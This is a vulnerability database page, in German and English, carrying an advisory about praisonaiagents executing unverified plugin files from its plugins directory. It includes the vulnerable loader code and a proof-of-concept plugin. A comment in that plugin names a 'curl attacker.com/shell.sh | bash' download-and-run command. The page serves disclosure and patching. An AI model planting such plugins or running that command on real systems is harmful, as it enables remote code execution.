Hoch

PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

  • Veröffentlicht: 08.10.2026
  • Aktualisiert: 15.10.2026 18:17

Summary

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

python
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

python
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

python
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.

Impact

  • Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
  • No user interaction required: Plugins are auto-discovered and loaded at framework initialization
  • Persistence: A planted plugin survives restarts and executes every time the framework starts
  • Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonaiagents < 1.6.78 1.6.78

Verweise

CVSS-Wert 8.4/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-427, CWE-94
Plattform
Python (PyPI)
Paket
praisonaiagents
Veröffentlicht
08.10.2026
Aktualisiert
15.10.2026 18:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-4271 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m6wp-h223-4c8g - CC BY 4.0

Schwachstellenhistorie: praisonaiagents

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (50) im Archiv
Einträge insgesamt
50
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 27
  • Mittel 13

Veröffentlichungen pro Jahr

  1. 2026: 50
Schweregrad:
  1. PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification dieser Eintrag
    Hoch · 8.4 CVE-2026-61446 < 1.6.78 1.6.78
  2. Hoch · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. Hoch · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Kritisch · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
  5. Hoch · 9.8 CVE-2026-44335 < 1.6.32 1.6.32
  6. Kritisch · 9.8 CVE-2026-40288 < 1.5.140 1.5.140
  7. Hoch · 8.4 CVE-2026-40287 < 1.5.140 1.5.140
  8. Hoch CVE-2026-40160 >= 0.13.23, < 1.5.128 1.5.128
  9. Hoch · 8.6 CVE-2026-34954 < 1.5.95 1.5.95

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.